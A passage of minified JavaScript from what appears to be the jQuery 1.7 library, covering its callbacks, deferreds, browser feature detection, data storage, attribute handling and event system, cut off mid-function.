a.fn.init(b,c)}e.extend(!0,a,this),a.superclass=this,a.fn=a.prototype=this(),a.fn.constructor=a,a.sub=this.sub,a.fn.init=function(d,f){f&&f instanceof e&&!(f instanceof a)&&(f=a(f));return e.fn.init.call(this,d,f,b)},a.fn.init.prototype=a.fn;var b=a(c);return a},browser:{}}),e.each("Boolean Number String Function Array Date RegExp Object".split(" "),function(a,b){I["[object "+b+"]"]=b.toLowerCase()}),z=e.uaMatch(y),z.browser&&(e.browser[z.browser]=!0,e.browser.version=z.version),e.browser.webkit&&(e.browser.safari=!0),j.test(" ")&&(k=/^[\s\xA0]+/,l=/[\s\xA0]+$/),h=e(c),c.addEventListener?B=function(){c.removeEventListener("DOMContentLoaded",B,!1),e.ready()}:c.attachEvent&&(B=function(){c.readyState==="complete"&&(c.detachEvent("onreadystatechange",B),e.ready())});return e}(),g={};f.Callbacks=function(a){a=a?g[a]||h(a):{};var c=[],d=[],e,i,j,k,l,m=function(b){var d,e,g,h,i;for(d=0,e=b.length;d<e;d++)g=b[d],h=f.type(g),h==="array"?m(g):h==="function"&&(!a.unique||!o.has(g))&&c.push(g)},n=function(b,f){f=f||[],e=!a.memory||[b,f],i=!0,l=j||0,j=0,k=c.length;for(;c&&l<k;l++)if(c[l].apply(b,f)===!1&&a.stopOnFalse){e=!0;break}i=!1,c&&(a.once?e===!0?o.disable():c=[]:d&&d.length&&(e=d.shift(),o.fireWith(e[0],e[1])))},o={add:function(){if(c){var a=c.length;m(arguments),i?k=c.length:e&&e!==!0&&(j=a,n(e[0],e[1]))}return this},remove:function(){if(c){var b=arguments,d=0,e=b.length;for(;d<e;d++)for(var f=0;f<c.length;f++)if(b[d]===c[f]){i&&f<=k&&(k--,f<=l&&l--),c.splice(f--,1);if(a.unique)break}}return this},has:function(a){if(c){var b=0,d=c.length;for(;b<d;b++)if(a===c[b])return!0}return!1},empty:function(){c=[];return this},disable:function(){c=d=e=b;return this},disabled:function(){return!c},lock:function(){d=b,(!e||e===!0)&&o.disable();return this},locked:function(){return!d},fireWith:function(b,c){d&&(i?a.once||d.push([b,c]):(!a.once||!e)&&n(b,c));return this},fire:function(){o.fireWith(this,arguments);return this},fired:function(){return!!e}};return o};var i=[].slice;f.extend({Deferred:function(a){var b=f.Callbacks("once memory"),c=f.Callbacks("once memory"),d=f.Callbacks("memory"),e="pending",g={resolve:b,reject:c,notify:d},h={done:b.add,fail:c.add,progress:d.add,state:function(){return e},isResolved:b.fired,isRejected:c.fired,then:function(a,b,c){i.done(a).fail(b).progress(c);return this},always:function(){i.done.apply(i,arguments).fail.apply(i,arguments);return this},pipe:function(a,b,c){return f.Deferred(function(d){f.each({done:[a,"resolve"],fail:[b,"reject"],progress:[c,"notify"]},function(a,b){var c=b[0],e=b[1],g;f.isFunction(c)?i[a](function(){g=c.apply(this,arguments),g&&f.isFunction(g.promise)?g.promise().then(d.resolve,d.reject,d.notify):d[e+"With"](this===i?d:this,[g])}):i[a](d[e])})}).promise()},promise:function(a){if(a==null)a=h;else for(var b in h)a[b]=h[b];return a}},i=h.promise({}),j;for(j in g)i[j]=g[j].fire,i[j+"With"]=g[j].fireWith;i.done(function(){e="resolved"},c.disable,d.lock).fail(function(){e="rejected"},b.disable,d.lock),a&&a.call(i,i);return i},when:function(a){function m(a){return function(b){e[a]=arguments.length>1?i.call(arguments,0):b,j.notifyWith(k,e)}}function l(a){return function(c){b[a]=arguments.length>1?i.call(arguments,0):c,--g||j.resolveWith(j,b)}}var b=i.call(arguments,0),c=0,d=b.length,e=Array(d),g=d,h=d,j=d<=1&&a&&f.isFunction(a.promise)?a:f.Deferred(),k=j.promise();if(d>1){for(;c<d;c++)b[c]&&b[c].promise&&f.isFunction(b[c].promise)?b[c].promise().then(l(c),j.reject,m(c)):--g;g||j.resolveWith(j,b)}else j!==a&&j.resolveWith(j,d?[a]:[]);return k}}),f.support=function(){var b,d,e,g,h,i,j,k,l,m,n,o,p,q=c.createElement("div"),r=c.documentElement;q.setAttribute("className","t"),q.innerHTML=" <link/><table></table><a href='/a' style='top:1px;float:left;opacity:.55;'>a</a><input type='checkbox'/>",d=q.getElementsByTagName("*"),e=q.getElementsByTagName("a")[0];if(!d||!d.length||!e)return{};g=c.createElement("select"),h=g.appendChild(c.createElement("option")),i=q.getElementsByTagName("input")[0],b={leadingWhitespace:q.firstChild.nodeType===3,tbody:!q.getElementsByTagName("tbody").length,htmlSerialize:!!q.getElementsByTagName("link").length,style:/top/.test(e.getAttribute("style")),hrefNormalized:e.getAttribute("href")==="/a",opacity:/^0.55/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value==="on",optSelected:h.selected,getSetAttribute:q.className!=="t",enctype:!!c.createElement("form").enctype,html5Clone:c.createElement("nav").cloneNode(!0).outerHTML!=="<:nav></:nav>",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0},i.checked=!0,b.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,b.optDisabled=!h.disabled;try{delete q.test}catch(s){b.deleteExpando=!1}!q.addEventListener&&q.attachEvent&&q.fireEvent&&(q.attachEvent("onclick",function(){b.noCloneEvent=!1}),q.cloneNode(!0).fireEvent("onclick")),i=c.createElement("input"),i.value="t",i.setAttribute("type","radio"),b.radioValue=i.value==="t",i.setAttribute("checked","checked"),q.appendChild(i),k=c.createDocumentFragment(),k.appendChild(q.lastChild),b.checkClone=k.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=i.checked,k.removeChild(i),k.appendChild(q),q.innerHTML="",a.getComputedStyle&&(j=c.createElement("div"),j.style.width="0",j.style.marginRight="0",q.style.width="2px",q.appendChild(j),b.reliableMarginRight=(parseInt((a.getComputedStyle(j,null)||{marginRight:0}).marginRight,10)||0)===0);if(q.attachEvent)for(o in{submit:1,change:1,focusin:1})n="on"+o,p=n in q,p||(q.setAttribute(n,"return;"),p=typeof q[n]=="function"),b[o+"Bubbles"]=p;k.removeChild(q),k=g=h=j=q=i=null,f(function(){var a,d,e,g,h,i,j,k,m,n,o,r=c.getElementsByTagName("body")[0];!r||(j=1,k="position:absolute;top:0;left:0;width:1px;height:1px;margin:0;",m="visibility:hidden;border:0;",n="style='"+k+"border:5px solid #000;padding:0;'",o="<div "+n+"><div></div></div>"+"<table "+n+" cellpadding='0' cellspacing='0'>"+"<tr><td></td></tr></table>",a=c.createElement("div"),a.style.cssText=m+"width:0;height:0;position:static;top:0;margin-top:"+j+"px",r.insertBefore(a,r.firstChild),q=c.createElement("div"),a.appendChild(q),q.innerHTML="<table><tr><td style='padding:0;border:0;display:none'></td><td>t</td></tr></table>",l=q.getElementsByTagName("td"),p=l[0].offsetHeight===0,l[0].style.display="",l[1].style.display="none",b.reliableHiddenOffsets=p&&l[0].offsetHeight===0,q.innerHTML="",q.style.width=q.style.paddingLeft="1px",f.boxModel=b.boxModel=q.offsetWidth===2,typeof q.style.zoom!="undefined"&&(q.style.display="inline",q.style.zoom=1,b.inlineBlockNeedsLayout=q.offsetWidth===2,q.style.display="",q.innerHTML="<div style='width:4px;'></div>",b.shrinkWrapBlocks=q.offsetWidth!==2),q.style.cssText=k+m,q.innerHTML=o,d=q.firstChild,e=d.firstChild,h=d.nextSibling.firstChild.firstChild,i={doesNotAddBorder:e.offsetTop!==5,doesAddBorderForTableAndCells:h.offsetTop===5},e.style.position="fixed",e.style.top="20px",i.fixedPosition=e.offsetTop===20||e.offsetTop===15,e.style.position=e.style.top="",d.style.overflow="hidden",d.style.position="relative",i.subtractsBorderForOverflowNotVisible=e.offsetTop===-5,i.doesNotIncludeMarginInBodyOffset=r.offsetTop!==j,r.removeChild(a),q=a=null,f.extend(b,i))});return b}();var j=/^(?:\{.*\}|\[.*\])$/,k=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:"jQuery"+(f.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a&&!m(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i,j=f.expando,k=typeof c=="string",l=a.nodeType,m=l?f.cache:a,n=l?a[j]:a[j]&&j,o=c==="events";if((!n||!m[n]||!o&&!e&&!m[n].data)&&k&&d===b)return;n||(l?a[j]=n=++f.uuid:n=j),m[n]||(m[n]={},l||(m[n].toJSON=f.noop));if(typeof c=="object"||typeof c=="function")e?m[n]=f.extend(m[n],c):m[n].data=f.extend(m[n].data,c);g=h=m[n],e||(h.data||(h.data={}),h=h.data),d!==b&&(h[f.camelCase(c)]=d);if(o&&!h[c])return g.events;k?(i=h[c],i==null&&(i=h[f.camelCase(c)])):i=h;return i}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e,g,h=f.expando,i=a.nodeType,j=i?f.cache:a,k=i?a[h]:h;if(!j[k])return;if(b){d=c?j[k]:j[k].data;if(d){f.isArray(b)||(b in d?b=[b]:(b=f.camelCase(b),b in d?b=[b]:b=b.split(" ")));for(e=0,g=b.length;e<g;e++)delete d[b[e]];if(!(c?m:f.isEmptyObject)(d))return}}if(!c){delete j[k].data;if(!m(j[k]))return}f.support.deleteExpando||!j.setInterval?delete j[k]:j[k]=null,i&&(f.support.deleteExpando?delete a[h]:a.removeAttribute?a.removeAttribute(h):a[h]=null)}},_data:function(a,b,c){return f.data(a,b,c,!0)},acceptData:function(a){if(a.nodeName){var b=f.noData[a.nodeName.toLowerCase()];if(b)return b!==!0&&a.getAttribute("classid")===b}return!0}}),f.fn.extend({data:function(a,c){var d,e,g,h=null;if(typeof a=="undefined"){if(this.length){h=f.data(this[0]);if(this[0].nodeType===1&&!f._data(this[0],"parsedAttrs")){e=this[0].attributes;for(var i=0,j=e.length;i<j;i++)g=e[i].name,g.indexOf("data-")===0&&(g=f.camelCase(g.substring(5)),l(this[0],g,h[g]));f._data(this[0],"parsedAttrs",!0)}}return h}if(typeof a=="object")return this.each(function(){f.data(this,a)});d=a.split("."),d[1]=d[1]?"."+d[1]:"";if(c===b){h=this.triggerHandler("getData"+d[1]+"!",[d[0]]),h===b&&this.length&&(h=f.data(this[0],a),h=l(this[0],a,h));return h===b&&d[1]?this.data(d[0]):h}return this.each(function(){var b=f(this),e=[d[0],c];b.triggerHandler("setData"+d[1]+"!",e),f.data(this,a,c),b.triggerHandler("changeData"+d[1]+"!",e)})},removeData:function(a){return this.each(function(){f.removeData(this,a)})}}),f.extend({_mark:function(a,b){a&&(b=(b||"fx")+"mark",f._data(a,b,(f._data(a,b)||0)+1))},_unmark:function(a,b,c){a!==!0&&(c=b,b=a,a=!1);if(b){c=c||"fx";var d=c+"mark",e=a?0:(f._data(b,d)||1)-1;e?f._data(b,d,e):(f.removeData(b,d,!0),n(b,c,"mark"))}},queue:function(a,b,c){var d;if(a){b=(b||"fx")+"queue",d=f._data(a,b),c&&(!d||f.isArray(c)?d=f._data(a,b,f.makeArray(c)):d.push(c));return d||[]}},dequeue:function(a,b){b=b||"fx";var c=f.queue(a,b),d=c.shift(),e={};d==="inprogress"&&(d=c.shift()),d&&(b==="fx"&&c.unshift("inprogress"),f._data(a,b+".run",e),d.call(a,function(){f.dequeue(a,b)},e)),c.length||(f.removeData(a,b+"queue "+b+".run",!0),n(a,b,"queue"))}}),f.fn.extend({queue:function(a,c){typeof a!="string"&&(c=a,a="fx");if(c===b)return f.queue(this[0],a);return this.each(function(){var b=f.queue(this,a,c);a==="fx"&&b[0]!=="inprogress"&&f.dequeue(this,a)})},dequeue:function(a){return this.each(function(){f.dequeue(this,a)})},delay:function(a,b){a=f.fx?f.fx.speeds[a]||a:a,b=b||"fx";return this.queue(b,function(b,c){var d=setTimeout(b,a);c.stop=function(){clearTimeout(d)}})},clearQueue:function(a){return this.queue(a||"fx",[])},promise:function(a,c){function m(){--h||d.resolveWith(e,[e])}typeof a!="string"&&(c=a,a=b),a=a||"fx";var d=f.Deferred(),e=this,g=e.length,h=1,i=a+"defer",j=a+"queue",k=a+"mark",l;while(g--)if(l=f.data(e[g],i,b,!0)||(f.data(e[g],j,b,!0)||f.data(e[g],k,b,!0))&&f.data(e[g],i,f.Callbacks("once memory"),!0))h++,l.add(m);m();return d.promise()}});var o=/[\n\t\r]/g,p=/\s+/,q=/\r/g,r=/^(?:button|input)$/i,s=/^(?:button|input|object|select|textarea)$/i,t=/^a(?:rea)?$/i,u=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,v=f.support.getSetAttribute,w,x,y;f.fn.extend({attr:function(a,b){return f.access(this,a,b,!0,f.attr)},removeAttr:function(a){return this.each(function(){f.removeAttr(this,a)})},prop:function(a,b){return f.access(this,a,b,!0,f.prop)},removeProp:function(a){a=f.propFix[a]||a;return this.each(function(){try{this[a]=b,delete this[a]}catch(c){}})},addClass:function(a){var b,c,d,e,g,h,i;if(f.isFunction(a))return this.each(function(b){f(this).addClass(a.call(this,b,this.className))});if(a&&typeof a=="string"){b=a.split(p);for(c=0,d=this.length;c<d;c++){e=this[c];if(e.nodeType===1)if(!e.className&&b.length===1)e.className=a;else{g=" "+e.className+" ";for(h=0,i=b.length;h<i;h++)~g.indexOf(" "+b[h]+" ")||(g+=b[h]+" ");e.className=f.trim(g)}}}return this},removeClass:function(a){var c,d,e,g,h,i,j;if(f.isFunction(a))return this.each(function(b){f(this).removeClass(a.call(this,b,this.className))});if(a&&typeof a=="string"||a===b){c=(a||"").split(p);for(d=0,e=this.length;d<e;d++){g=this[d];if(g.nodeType===1&&g.className)if(a){h=(" "+g.className+" ").replace(o," ");for(i=0,j=c.length;i<j;i++)h=h.replace(" "+c[i]+" "," ");g.className=f.trim(h)}else g.className=""}}return this},toggleClass:function(a,b){var c=typeof a,d=typeof b=="boolean";if(f.isFunction(a))return this.each(function(c){f(this).toggleClass(a.call(this,c,this.className,b),b)});return this.each(function(){if(c==="string"){var e,g=0,h=f(this),i=b,j=a.split(p);while(e=j[g++])i=d?i:!h.hasClass(e),h[i?"addClass":"removeClass"](e)}else if(c==="undefined"||c==="boolean")this.className&&f._data(this,"__className__",this.className),this.className=this.className||a===!1?"":f._data(this,"__className__")||""})},hasClass:function(a){var b=" "+a+" ",c=0,d=this.length;for(;c<d;c++)if(this[c].nodeType===1&&(" "+this[c].className+" ").replace(o," ").indexOf(b)>-1)return!0;return!1},val:function(a){var c,d,e,g=this[0];{if(!!arguments.length){e=f.isFunction(a);return this.each(function(d){var g=f(this),h;if(this.nodeType===1){e?h=a.call(this,d,g.val()):h=a,h==null?h="":typeof h=="number"?h+="":f.isArray(h)&&(h=f.map(h,function(a){return a==null?"":a+""})),c=f.valHooks[this.nodeName.toLowerCase()]||f.valHooks[this.type];if(!c||!("set"in c)||c.set(this,h,"value")===b)this.value=h}})}if(g){c=f.valHooks[g.nodeName.toLowerCase()]||f.valHooks[g.type];if(c&&"get"in c&&(d=c.get(g,"value"))!==b)return d;d=g.value;return typeof d=="string"?d.replace(q,""):d==null?"":d}}}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,g=a.selectedIndex,h=[],i=a.options,j=a.type==="select-one";if(g<0)return null;c=j?g:0,d=j?g+1:i.length;for(;c<d;c++){e=i[c];if(e.selected&&(f.support.optDisabled?!e.disabled:e.getAttribute("disabled")===null)&&(!e.parentNode.disabled||!f.nodeName(e.parentNode,"optgroup"))){b=f(e).val();if(j)return b;h.push(b)}}if(j&&!h.length&&i.length)return f(i[g]).val();return h},set:function(a,b){var c=f.makeArray(b);f(a).find("option").each(function(){this.selected=f.inArray(f(this).val(),c)>=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,d,e){var g,h,i,j=a.nodeType;if(!!a&&j!==3&&j!==8&&j!==2){if(e&&c in f.attrFn)return f(a)[c](d);if(typeof a.getAttribute=="undefined")return f.prop(a,c,d);i=j!==1||!f.isXMLDoc(a),i&&(c=c.toLowerCase(),h=f.attrHooks[c]||(u.test(c)?x:w));if(d!==b){if(d===null){f.removeAttr(a,c);return}if(h&&"set"in h&&i&&(g=h.set(a,d,c))!==b)return g;a.setAttribute(c,""+d);return d}if(h&&"get"in h&&i&&(g=h.get(a,c))!==null)return g;g=a.getAttribute(c);return g===null?b:g}},removeAttr:function(a,b){var c,d,e,g,h=0;if(b&&a.nodeType===1){d=b.toLowerCase().split(p),g=d.length;for(;h<g;h++)e=d[h],e&&(c=f.propFix[e]||e,f.attr(a,e,""),a.removeAttribute(v?e:c),u.test(e)&&c in a&&(a[c]=!1))}},attrHooks:{type:{set:function(a,b){if(r.test(a.nodeName)&&a.parentNode)f.error("type property can't be changed");else if(!f.support.radioValue&&b==="radio"&&f.nodeName(a,"input")){var c=a.value;a.setAttribute("type",b),c&&(a.value=c);return b}}},value:{get:function(a,b){if(w&&f.nodeName(a,"button"))return w.get(a,b);return b in a?a.value:null},set:function(a,b,c){if(w&&f.nodeName(a,"button"))return w.set(a,b,c);a.value=b}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(a,c,d){var e,g,h,i=a.nodeType;if(!!a&&i!==3&&i!==8&&i!==2){h=i!==1||!f.isXMLDoc(a),h&&(c=f.propFix[c]||c,g=f.propHooks[c]);return d!==b?g&&"set"in g&&(e=g.set(a,d,c))!==b?e:a[c]=d:g&&"get"in g&&(e=g.get(a,c))!==null?e:a[c]}},propHooks:{tabIndex:{get:function(a){var c=a.getAttributeNode("tabindex");return c&&c.specified?parseInt(c.value,10):s.test(a.nodeName)||t.test(a.nodeName)&&a.href?0:b}}}}),f.attrHooks.tabindex=f.propHooks.tabIndex,x={get:function(a,c){var d,e=f.prop(a,c);return e===!0||typeof e!="boolean"&&(d=a.getAttributeNode(c))&&d.nodeValue!==!1?c.toLowerCase():b},set:function(a,b,c){var d;b===!1?f.removeAttr(a,c):(d=f.propFix[c]||c,d in a&&(a[d]=!0),a.setAttribute(c,c.toLowerCase()));return c}},v||(y={name:!0,id:!0},w=f.valHooks.button={get:function(a,c){var d;d=a.getAttributeNode(c);return d&&(y[c]?d.nodeValue!=="":d.specified)?d.nodeValue:b},set:function(a,b,d){var e=a.getAttributeNode(d);e||(e=c.createAttribute(d),a.setAttributeNode(e));return e.nodeValue=b+""}},f.attrHooks.tabindex.set=w.set,f.each(["width","height"],function(a,b){f.attrHooks[b]=f.extend(f.attrHooks[b],{set:function(a,c){if(c===""){a.setAttribute(b,"auto");return c}}})}),f.attrHooks.contenteditable={get:w.get,set:function(a,b,c){b===""&&(b="false"),w.set(a,b,c)}}),f.support.hrefNormalized||f.each(["href","src","width","height"],function(a,c){f.attrHooks[c]=f.extend(f.attrHooks[c],{get:function(a){var d=a.getAttribute(c,2);return d===null?b:d}})}),f.support.style||(f.attrHooks.style={get:function(a){return a.style.cssText.toLowerCase()||b},set:function(a,b){return a.style.cssText=""+b}}),f.support.optSelected||(f.propHooks.selected=f.extend(f.propHooks.selected,{get:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex);return null}})),f.support.enctype||(f.propFix.enctype="encoding"),f.support.checkOn||f.each(["radio","checkbox"],function(){f.valHooks[this]={get:function(a){return a.getAttribute("value")===null?"on":a.value}}}),f.each(["radio","checkbox"],function(){f.valHooks[this]=f.extend(f.valHooks[this],{set:function(a,b){if(f.isArray(b))return a.checked=f.inArray(f(a).val(),b)>=0}})});var z=/^(?:textarea|input|select)$/i,A=/^([^\.]*)?(?:\.(.+))?$/,B=/\bhover(\.\S+)?\b/,C=/^key/,D=/^(?:mouse|contextmenu)|click/,E=/^(?:focusinfocus|focusoutblur)$/,F=/^(\w*)(?:#([\w\-]+))?(?:\.([\w\-]+))?$/,G=function(a){var b=F.exec(a);b&&(b[1]=(b[1]||"").toLowerCase(),b[3]=b[3]&&new RegExp("(?:^|\\s)"+b[3]+"(?:\\s|$)"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])&&(!b[2]||(c.id||{}).value===b[2])&&(!b[3]||b[3].test((c["class"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,"mouseenter$1 mouseleave$1")}; +f.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){d.handler&&(p=d,d=p.handler),d.guid||(d.guid=f.guid++),j=h.events,j||(h.events=j={}),i=h.handle,i||(h.handle=i=function(a){return typeof f!="undefined"&&(!a||f.event.triggered!==a.type)?f.event.dispatch.apply(i.elem,arguments):b},i.elem=a),c=f.trim(I(c)).split(" ");for(k=0;k<c.length;k++){l=A.exec(c[k])||[],m=l[1],n=(l[2]||"").split(".").sort(),s=f.event.special[m]||{},m=(g?s.delegateType:s.bindType)||m,s=f.event.special[m]||{},o=f.extend({type:m,origType:l[1],data:e,handler:d,guid:d.guid,selector:g,quick:G(g),namespace:n.join(".")},p),r=j[m];if(!r){r=j[m]=[],r.delegateCount=0;if(!s.setup||s.setup.call(a,e,n,i)===!1)a.addEventListener?a.addEventListener(m,i,!1):a.attachEvent&&a.attachEvent("on"+m,i)}s.add&&(s.add.call(a,o),o.handler.guid||(o.handler.guid=d.guid)),g?r.splice(r.delegateCount++,0,o):r.push(o),f.event.global[m]=!0}a=null}},global:{},remove:function(a,b,c,d,e){var g=f.hasData(a)&&f._data(a),h,i,j,k,l,m,n,o,p,q,r,s;if(!!g&&!!(o=g.events)){b=f.trim(I(b||"")).split(" ");for(h=0;h<b.length;h++){i=A.exec(b[h])||[],j=k=i[1],l=i[2];if(!j){for(j in o)f.event.remove(a,j+b[h],c,d,!0);continue}p=f.event.special[j]||{},j=(d?p.delegateType:p.bindType)||j,r=o[j]||[],m=r.length,l=l?new RegExp("(^|\\.)"+l.split(".").sort().join("\\.(?:.*\\.)?")+"(\\.|$)"):null;for(n=0;n<r.length;n++)s=r[n],(e||k===s.origType)&&(!c||c.guid===s.guid)&&(!l||l.test(s.namespace))&&(!d||d===s.selector||d==="**"&&s.selector)&&(r.splice(n--,1),s.selector&&r.delegateCount--,p.remove&&p.remove.call(a,s));r.length===0&&m!==r.length&&((!p.teardown||p.teardown.call(a,l)===!1)&&f.removeEvent(a,j,g.handle),delete o[j])}f.isEmptyObject(o)&&(q=g.handle,q&&(q.elem=null),f.removeData(a,["events","handle"],!0))}},customEvent:{getData:!0,setData:!0,changeData:!0},trigger:function(c,d,e,g){if(!e||e.nodeType!==3&&e.nodeType!==8){var h=c.type||c,i=[],j,k,l,m,n,o,p,q,r,s;if(E.test(h+f.event.triggered))return;h.indexOf("!")>=0&&(h=h.slice(0,-1),k=!0),h.indexOf(".")>=0&&(i=h.split("."),h=i.shift(),i.sort());if((!e||f.event.customEvent[h])&&!f.event.global[h])return;c=typeof c=="object"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join("."),c.namespace_re=c.namespace?new RegExp("(^|\\.)"+i.join("\\.(?:.*\\.)?")+"(\\.|$)"):null,o=h.indexOf(":")<0?"on"+h:"";if(!e){j=f.cache;for(l in j)j[l].events&&j[l].events[h]&&f.event.trigger(c,d,j[l].handle.elem,!0);return}c.result=b,c.target||(c.target=e),d=d!=null?f.makeArray(d):[],d.unshift(c),p=f.event.special[h]||{};if(p.trigger&&p.trigger.apply(e,d)===!1)return;r=[[e,p.bindType||h]];if(!g&&!p.noBubble&&!f.isWindow(e)){s=p.delegateType||h,m=E.test(s+h)?e:e.parentNode,n=null;for(;m;m=m.parentNode)r.push([m,s]),n=m;n&&n===e.ownerDocument&&r.push([n.defaultView||n.parentWindow||a,s])}for(l=0;l<r.length&&!c.isPropagationStopped();l++)m=r[l][0],c.type=r[l][1],q=(f._data(m,"events")||{})[c.type]&&f._data(m,"handle"),q&&q.apply(m,d),q=o&&m[o],q&&f.acceptData(m)&&q.apply(m,d)===!1&&c.preventDefault();c.type=h,!g&&!c.isDefaultPrevented()&&(!p._default||p._default.apply(e.ownerDocument,d)===!1)&&(h!=="click"||!f.nodeName(e,"a"))&&f.acceptData(e)&&o&&e[h]&&(h!=="focus"&&h!=="blur"||c.target.offsetWidth!==0)&&!f.isWindow(e)&&(n=e[o],n&&(e[o]=null),f.event.triggered=h,e[h](),f.event.triggered=b,n&&(e[o]=n));return c.result}},dispatch:function(c){c=f.event.fix(c||a.event);var d=(f._data(this,"events")||{})[c.type]||[],e=d.delegateCount,g=[].slice.call(arguments,0),h=!c.exclusive&&!c.namespace,i=[],j,k,l,m,n,o,p,q,r,s,t;g[0]=c,c.delegateTarget=this;if(e&&!c.target.disabled&&(!c.button||c.type!=="click")){m=f(this),m.context=this.ownerDocument||this;for(l=c.target;l!=this;l=l.parentNode||this){o={},q=[],m[0]=l;for(j=0;j<e;j++)r=d[j],s=r.selector,o[s]===b&&(o[s]=r.quick?H(l,r.quick):m.is(s)),o[s]&&q.push(r);q.length&&i.push({elem:l,matches:q})}}d.length>e&&i.push({elem:this,matches:d.slice(e)});for(j=0;j<i.length&&!c.isPropagationStopped();j++){p=i[j],c.currentTarget=p.elem;for(k=0;k<p.matches.length&&!c.isImmediatePropagationStopped();k++){r=p.matches[k];if(h||!c.namespace&&!r.namespace||c.namespace_re&&c.namespace_re.test(r.namespace))c.data=r.data,c.handleObj=r,n=((f.event.special[r.origType]||{}).handle||r.handler).apply(p.elem,g),n!==b&&(c.result=n,n===!1&&(c.preventDefault(),c.stopPropagation()))}}return c.result},props:"attrChange attrName relatedNode srcElement altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(a,b){a.which==null&&(a.which=b.charCode!=null?b.charCode:b.keyCode);return a}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(a,d){var e,f,g,h=d.button,i=d.fromElement;a.pageX==null&&d.clientX!=null&&(e=a.target.ownerDocument||c,f=e.documentElement,g=e.body,a.pageX=d.clientX+(f&&f.scrollLeft||g&&g.scrollLeft||0)-(f&&f.clientLeft||g&&g.clientLeft||0),a.pageY=d.clientY+(f&&f.scrollTop||g&&g.scrollTop||0)-(f&&f.clientTop||g&&g.clientTop||0)),!a.relatedTarget&&i&&(a.relatedTarget=i===a.target?d.toElement:i),!a.which&&h!==b&&(a.which=h&1?1:h&2?3:h&4?2:0);return a}},fix:function(a){if(a[f.expando])return a;var d,e,g=a,h=f.event.fixHooks[a.type]||{},i=h.props?this.props.concat(h.props):this.props;a=f.Event(g);for(d=i.length;d;)e=i[--d],a[e]=g[e];a.target||(a.target=g.srcElement||c),a.target.nodeType===3&&(a.target=a.target.parentNode),a.metaKey===b&&(a.metaKey=a.ctrlKey);return h.filter?h.filter(a,g):a},special:{ready:{setup:f.bindReady},load:{noBubble:!0},focus:{delegateType:"focusin"},blur:{delegateType:"focusout"},beforeunload:{setup:function(a,b,c){f.isWindow(this)&&(this.onbeforeunload=c)},teardown:function(a,b){this.onbeforeunload===b&&(this.onbeforeunload=null)}}},simulate:function(a,b,c,d){var e=f.extend(new f.Event,c,{type:a,isSimulated:!0,originalEvent:{}});d?f.event.trigger(e,null,b):f.event.dispatch.call(b,e),e.isDefaultPrevented()&&c.preventDefault()}},f.event.handle=f.event.dispatch,f.removeEvent=c.removeEventListener?function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c,!1)}:function(a,b,c){a.detachEvent&&a.detachEvent("on"+b,c)},f.Event=function(a,b){if(!(this instanceof f.Event))return new f.Event(a,b);a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||a.returnValue===!1||a.getPreventDefault&&a.getPreventDefault()?K:J):this.type=a,b&&f.extend(this,b),this.timeStamp=a&&a.timeStamp||f.now(),this[f.expando]=!0},f.Event.prototype={preventDefault:function(){this.isDefaultPrevented=K;var a=this.originalEvent;!a||(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){this.isPropagationStopped=K;var a=this.originalEvent;!a||(a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=K,this.stopPropagation()},isDefaultPrevented:J,isPropagationStopped:J,isImmediatePropagationStopped:J},f.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(a,b){f.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c=this,d=a.relatedTarget,e=a.handleObj,g=e.selector,h;if(!d||d!==c&&!f.contains(c,d))a.type=e.origType,h=e.handler.apply(this,arguments),a.type=b;return h}}}),f.support.submitBubbles||(f.event.special.submit={setup:function(){if(f.nodeName(this,"form"))return!1;f.event.add(this,"click._submit keypress._submit",function(a){var 